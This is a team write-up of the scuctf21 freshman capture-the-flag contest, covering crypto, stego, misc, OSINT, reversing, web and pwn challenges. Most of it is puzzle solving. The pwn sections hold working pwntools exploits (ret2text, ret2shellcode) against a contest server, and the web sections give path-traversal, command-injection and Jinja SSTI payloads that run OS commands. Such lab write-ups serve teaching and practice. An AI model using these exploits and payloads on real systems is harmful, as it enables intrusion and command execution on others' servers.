scuctf21 Freshman Contest Writeup
The quality of this freshman contest was pretty good. Every member of our team “Youhuang Zhong Jian Tian” played to their strengths, and we had a great time during the competition. Below are a screenshot of the rankings and our team's writeup:

WriteUp from junyu33
Crypto-1:singin_Classic
HAZTMNZYGU3DOOBUG4YDCMRTHA3DKMBYGYYTCNJYHE2TANJXGEYTMOJQHA3DKNZUHA4TQNBZGU3TQNBYGE2DSOBWGY4DQNRWHE4DSMJQGQYTENI=
(base32)
836785678470123865086115895057116908657489849578481498668866989104125
(ascii)
83 67 85 67 84 70 123 86 50 86 115 89 50 57 116 90 86 57 48 98 49 57 84 81 49 86 68 86 69 89 104 125
SCUCTF{V2VsY29tZV90b19TQ1VDVEYh}
(base64)
SCUCTF{Welcome_to_SCUCTF!}
Crypto-2:ez_classic
Opening the file shows a string of 0s and 1s. Based on the hint, the ciphertext should be read by interleaving two rows (at first I thought “W-shape” meant rail fence cipher). A script can extract odd positions first, then even positions.
After converting the 01 string to ASCII, grouping every 8 bits, and printing decimal values, we get numbers like 210 and 226. I guessed it was another binary string, length 72.
If we interpret 72 directly as ASCII, the length becomes only 9, which is impossible. Considering Morse code: treating 210 as 0
and 226 as 1
, I tried decoding. With 210 = 0, 226 = 1, no meaningful text. With 210 = 1 and 226 = 0, I got the following image:

The tricky part: Morse code is not prefix-free, which means it cannot be uniquely decoded in linear time. A single ciphertext can map to multiple plaintexts!
(For example, the flag doesn't contain “tql”, but I still derived it.)
After talking to the challenge author, he gave me most of the intended plaintext, and I brute-forced the rest.
This challenge design wasn't particularly good.
SCUCTF{B1N?F3NCE!}
Crypto-3:number_theory
A real math problem.
The task: find p,q,r,s
such that:
always holds.
My first instinct was to ask someone good at math, so I consulted this year's winner of the Yau Mathematical Competition for Girls.

(Of course, real mathematicians wouldn't waste time on trivial stuff like this qwq.)
Slang note: “qwq” is a Chinese emoticon expressing mock-crying.
Eventually I found the answer on Wikipedia. Euler is amazing!!!

Crypto-4:ez_RSA
A classic RSA template problem. Anyone who understands RSA and manages to install the Python dependency can solve it.
import gmpy2
p = 213043791008118001973620295219389127641
q = 288394236514907373490429135931237985191
e = 65537
n = p * q
c = 2064504307456306488731553002068102151545513181275073778820466336566521706326
d = gmpy2.invert(e,(p-1)*(q-1))
m = gmpy2.powmod(c,d,p*q)
print (hex(m)[2:].decode('hex'))
Crypto-5:strange_RSA
Here, n
can be factored directly using factordb.
Since e
and φ(n) are not coprime, we can solve it using the Chinese Remainder Theorem. Reference:
https://github.com/ustclug/hackergame2019-writeups/blob/master/official/十次方根/README.md

Crypto-7:Elliptic Curve
An introductory elliptic curve problem. Unlike the “easy ECC” on Attack-Defense World, this one omits parameters a
and b
. But since three points are given, we can solve for the two unknowns using the curve equation.

Note: the values must make sense modulo p
. We can use gmpy2.invert
to compute them.
Finally, applying fast exponentiation, the following code works:
from gmpy2 import *
from Crypto.Util.number import *
zero = (0,0)
a = 82434704921831126317349084148380426791883173943813663537990423892369888514044
b = 311475221040936280208362290787407966613
n = 82434704921831126317349084148380426792000286866075383521515099269291038312183
p = 82434704921831126317349084148380426791883173943813663537990423892369888514061
G = (81403639825184272992871756462679165959131935479082301407409473940853140527035 , 111858327599117205208040416341606595974639126132558018462114484339055815343)
def add(p1, p2):
if p1 == zero:
return p2
if p2 == zero:
return p1
(p1x,p1y),(p2x,p2y) = p1,p2
if p1x == p2x and (p1y != p2y or p1y == 0):
return zero
if p1x == p2x:
lam = (3 * p1x * p1x + a) * invert(2 * p1y , p) % p
else:
lam = (p2y - p1y) * invert(p2x - p1x , p) % p
x = (lam**2 - p1x - p2x) % p
y = (lam * (p1x - x) - p1y) % p
return (int(x),int(y))
def point_neg(point):
x, y = point
res = (x, -y % p)
return res
def fast_mul(k, point):
'''
a trick!
'''
if k < 0:
return fast_mul(-k, point_neg(point))
res = zero
addend = point
while k:
if k & 1:
res = add(res, addend)
addend = add(addend, addend)
k >>= 1
return res
k = 73844933862216652622492520515324611426018473790347046447404478062546746765750
C1 = (20058089234486140225873266550951624285964438180038043783132571119098797258964 , 44425976028240060721292567543561982553652201677216540575424866418518533833686 )
C2 = (44219316884405871793950087163675141641324021196457542671365362829884688420072 , 42705405459815954011526630723538719826904473252385988608867562886364716986612 )
nC2 = fast_mul(k, C2)
m = add(C1,point_neg(nC2))
print(m)
print(hex(m[0] + m[1])[2:])
Crypto-8:Vigenere
With such a large block of ciphertext, frequency analysis makes solving straightforward.

Misc-1:test_your_nc~~~
The image size is too large, and Kali's terminal has a feature to shrink the text.
Misc-2: OldKinderhoek
The file is named Ook.txt
. Looking up Ook encoding online, I found that there are only three types of encodings (and the text happens to contain only the numbers 0, 1, and 4). By writing a script to try all permutations and formatting the output properly, you can then upload it to the following site to decode:
https://www.splitbrain.org/services/ook
Misc-3: test_your_nc~~~~~~~~~
A drawing challenge: pixels are filled using visible characters. Simply input the command:
cat /f*
(Note: OCR recognition accuracy is quite low—sometimes the same ASCII art is recognized correctly, sometimes not.)
Misc-4: Time To Leave
This is a traffic analysis problem. Add the TTL field as a column. In chronological order, look only at the byte values corresponding to TTL—you'll see the flag appear every few characters.
Misc-5: Fire in the hole
Open the compressed file using 010-editor:

Based on the hint (a folder is also a type of file), change the folder format into file format:

Replace the first line flag/
with flag
, and you'll get:
scuctf{d1r_0r_fffffil3?}
Misc-6: The Roar of Puny-senpai
The hint is very clear: first decode with Punycode, and you'll get a string of indescribable text. Then copy a portion of that text and search it online—you'll quickly find a website that can decode it.
Stego-1: EZ_Steg
Open the file with Stegsolve, flip left and right a few times, and a QR code will appear. Scan it and you'll get the flag.
Stego-2: Baby_Steg
The hint here was quite discouraging and confusing — “secret information bits” clearly felt like awkward machine translation.
When adjusting in Stegsolve to the random color map option, careful observation reveals a series of irregular pixels in the top-left corner, looking like this:

Convert those pixels into binary (0/1
), then to ASCII, and you'll obtain the flag.
Although the colored section in the middle is hard to recognize, the flag still makes sense, so you can guess the missing part (I got it correct in a single try).
Web: vscodeServer
Since this was an easy challenge and the interface looked very modern, it was obvious that no injection-type vulnerabilities were involved.
By simply trying a weak password, I got in — with root privileges.
Then just open the terminal, run ls
, then cat flag
, and it's done.
Web-6: include
This was the most basic file inclusion challenge. Even someone like me, who doesn't usually touch web problems, managed to solve it.
?file=../../../flag
Answer:
scuctf{1nclude_Y0u_g0t_1t}
Java: Command Execution
The challenge author tried to withdraw the problem, but wasn't fast enough — I had already downloaded it.

Osint-3: Lonely Night
From the picture, you can see a store called “Su 8 Supermarket”. Using Baidu Maps, only a few such locations can be found. One of them, located in Beijing, looks very similar to the given street view image — so that's the answer.
Pwn-1: test_your_nc
Same as the first pwn challenge on buuctf: simply connect with nc
, then run cat flag
to get the answer.
Pwn-2: quiz
If you know C language, the first three questions are straightforward.
However, you still need to learn some assembly basics, because code written into an .asm
file cannot run directly, and sometimes manual inspection with the naked eye is faster than compiling.
Learning link: https://www.icourse163.org/course/ZZU-1001796025
Pwn-3: stackoverflow
This is the simplest type of pwn challenge. You only need to find the buffer length and the backdoor address.
In the Vuln_echo
function, the buffer length is 0x30
. Since it's 64-bit, plus the length of rbp
(8 bytes), the total padding length is 0x38
.
The return address is the address of the system("/bin/sh")
call in the backdoor
function.
from pwn import *
#io = process('/ret2text')
io = connect('game.scuctf.com', 20006)
payload = b'a'*0x38 + p64(0x4012D7)
io.sendline(payload)
io.interactive()
Pwn-4: ret2shellcode
64-bit program, ELF file.
You can use repeated io.recvline()
calls to read each line of output, then slice the data to extract the input buffer address.
In some cases, the input buffer address and the leaked address differ by an offset (which can be determined by dynamically debugging and comparing the rsi
address with the one given by the program). In this challenge, however, the offset is 0.
Payload format:
payload = shellcode.ljust(k, 'a') + p64(buf)
where
k = bias + bufferlength + sizeof(ebp)
Here, the padding length is 0x88
.
from pwn import *
context(arch = 'amd64', os = 'linux') # Without this line, a sigill error occurs
#p = process('./ret2shellcode')
p = remote('game.scuctf.com', 20004)
loc = p.recvline()
loc = p.recvline()
loc = p.recvline()
loc = p.recvline()
loc = p.recvline()
loc = p.recvline()
buf = int(loc[-15:-1],16)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88, b'a') + p64(buf)
p.sendline(payload)
p.interactive()
(Both the easiest and hardest reversing problems were taken by teammates, qwq).
Re5: ezapk
(Not at all “easy” — simply using JEB wasn't enough to solve this one.)
In MainActivity
, there was a private member called the check
function, which was not defined in the code section.
Based on previous experience with similar problems, I quickly loaded the APK's library files into IDA, where I found the implementation of the check
function.
(The code was really unpleasant to read, especially that return
.)

From what I could infer, the source code logic was:
- Split the input string into two halves,
- Place the first half into the odd indices and the second half into the even indices,
- XOR each character with its position,
- Compare the result with the internal ciphertext.
I wrote a decryption script, but some characters of the flag came out broken. So in the end, I only XORed each position manually and then identified the flag by eye.
HappyRe: ezJava
(It really was quite “happy.”)
Open the file in Jeb 4.2, decompile, scroll down, and you can directly see the flag.

Re4: Upxed
Although the challenge author wanted us to manually unpack the binary, the result after using UPX was already readable enough, which made things much easier.
The hint mentioned TEA encryption. Here's a reference C implementation:
https://bbs.pediy.com/thread-266933.htm
Looking at the disassembly:

The ciphertext is in the v6
array, and the key is:
THIS_IS_THE_KEYa
Note: when converting to integers, be sure to use little-endian order.
Also pay attention to the encryption loop count (32 iterations) and the magic number -0x61C88647
(important detail: it's negative, which is somewhat tricky).
For the rest, just follow the reference implementation and it works.
Re9: Plants_Vs_Zombies (Unintended Solution)
(The intended solution was related to a technique called “Heaven's Gate,” but I definitely wasn't able to do that at the time.)
When I got the game, I used a few tricks and cleared it within half an hour (don't ask me how I beat it so quickly). However, the expected decryption routine didn't appear.
Instead, when the game failed, the file flag.txt
in the root directory was encrypted into flag.enc
. Since I had just finished two cryptography problems and was in a crypto mindset, I decided to analyze the relationship between plaintext and ciphertext.

From the image, it's clear that the plaintext and ciphertext are bitwise encrypted, and the transformation between them has a very obvious linear relationship. Essentially, the ciphertext just adds the array index to each byte. So for decryption, we only need to subtract the index.
(Note: the 7th byte is special, but since we know it must be {
, we can just skip worrying about it for now.)
Now let's determine the parameters k
, b
, and mod
:
- k: Easy to compute from the differences. Result is
0x20
. - b: Slight issue here. When I input a character with ASCII 0, the program crashed. After asking the challenge author, I learned it was a technical bug. Using ASCII 1 instead gave the result
0x20
. Therefore,b = 0
. - mod: See the figure below:

It's obvious that mod <= 256
. Since we saw the character FB
, we know mod > 251
. Therefore, the only possible value is 255.
At this point, the encryption function was completely clear. There were two possible approaches:
- Write a decryption function.
- Directly map plaintext and ciphertext using an array.
I chose the second method. Because 32 and 255 are coprime, a one-to-one mapping theoretically exists. But in practice, some problems arose — when printing the flag, a few characters did not display properly.

For the two blank spots:
- The left one should be an underscore
_
. - For the right one, I tried both fate and gate as possible words. That worked, and the flag was completed.
My solution:
#include<stdio.h>
#include<string.h>
int enc[]={
0x6E, 0x6D, 0xB0, 0x6F, 0x92, 0xD1, 0x11, 0x74, 0xD5, 0xF6, 0x76, 0x78, 0x39, 0xDA, 0xF9, 0xFC,
0xDD, 0xFC, 0x1F, 0xBF, 0x40, 0xE3, 0xC2, 0xE4, 0x86, 0x04, 0x06, 0x47, 0xAA, 0xC9, 0xCD,
};
int encr(int x,int pos){
int k=0x20;
int mod=255;
return (k*x+pos)%mod;
}
int inv[300];
int main()
{
for(int i=1;i<=127;i++)
inv[encr(i,0)]=i;
for(int i=0;i<32;i++)
printf("%c",inv[enc[i]-i]);
return 0;
}
WriteUp from xiran
Osint-1: Which Road to Take
By observing the picture, the hint shows Chengdu Zhongxin. Searching this on the map reveals the flag.
Osint-2: Catching the Train
Upload the image into Baidu Image Search to find the original. Check the image description to locate the flag.

Osint-4: Blue Planet
Filtering satellite maps on Baidu leads to this:

It's immediately recognizable as Italy.

From here, the answer is obtained.
Osint-5: Travel Diary
From the signboard, the location is identified as Ōtsu, Japan. Check the names of JR stations in Ōtsu and find the one matching the signboard. Examine the direction markers on the road signs. Using Google Maps, you can then pinpoint the answer.
RE1: Welcome
Load the program into IDA, and you'll see a sequence of numbers. Input this sequence into the program, and you'll get the FLAG.
RE2: Xor
Load into IDA, and you'll find it's just a simple XOR. Check the memory, apply the reverse XOR operation, and you'll obtain the answer.
RE3: DebugMe
Use IDA remote debugging. Identify the correct end of the program, then adjust the registers so that execution reaches the intended location — and you'll successfully retrieve the flag.
RE6: EzLinearEquation
Load the program into IDA, and you'll find it reduces to a set of linear equations with multiple variables. You can simply call Python's z3 solver to resolve the equations and obtain the flag.
Reference: Re6.cpp (valid for one week)
RE7: VirtualMachine
Load the program into x32dbg.
Input function:

Comparison function:

The comparison function first checks the length of the string, then compares the encrypted input against the ciphertext.
Through experimentation, you can see that encryption is applied one character at a time.
Therefore, brute-forcing the flag character by character is feasible — once verified, the correct flag is obtained.
HardRe: Fxxk
Load the program into OllyDbg (Od).
Step through execution until the main function:

Input function:

Here we learn the string length must be 8:

It validates that the string length is exactly 8:

Then each character is checked through a validation function.
Entering the validation function

Analysis shows that the function ensures each input character is within the range A–Z, while also encrypting the input.
Observing the registers gives the encrypted input:

Continuing execution, we then discover a reference string:

The program compares the encrypted input against this string:
LMSULHNH
Solution 1: Brute-force the flag by trial and error.
Solution 2: Reverse the encryption logic from the assembly function to reconstruct the original flag.
WriteUp from Cyan
[Web1] Get&Post

Post flag=flagggg
Get a=flag
[Web2] Hardphp
By carefully checking robots.txt, you can then access indexxxxx.php
.
There you'll find the source code:

The trick is to construct a string that starts with 0e
and whose MD5 hash also starts with 0e
.
For example, the string:
0e215962017

[Web5] Abstract Code Art
After URL-encoding the source code:

You'll notice two extra invisible characters:
%80%AE%E2%81%A6
%80%AE%E2%80%A6
So you can construct the payload as:
%E2%80%AE%E2%81%A6scuctf%E2%80%AE…666=scuctf

[Web7] curl_curl_curl
From the challenge description, it's clear there is a curl vulnerability.
Testing confirms it:

The ls
command gets executed successfully.
From there, it's just a matter of searching the directories and using double-encoding to bypass restrictions, until you can run:
cat flag

[Web] ezSSTI
From the challenge description, it was clear there was an SSTI (Server-Side Template Injection) vulnerability.
First, a test payload confirmed that commands were being executed:

To enumerate all classes:
?name={{%27%27.__class__.__mro__[2].__subclasses__()}}

Among the subclasses, <class 'warnings.catch_warnings'>
was found at index 59.
Using that, we can craft a payload to execute arbitrary commands:
?name={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[%27__builtins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27ls%20/%27).read()}}

The command executed successfully, but no flag file was found.
Following the hint, the next step was to check environment variables:
?name={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[%27__builtins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27env%27).read()}}
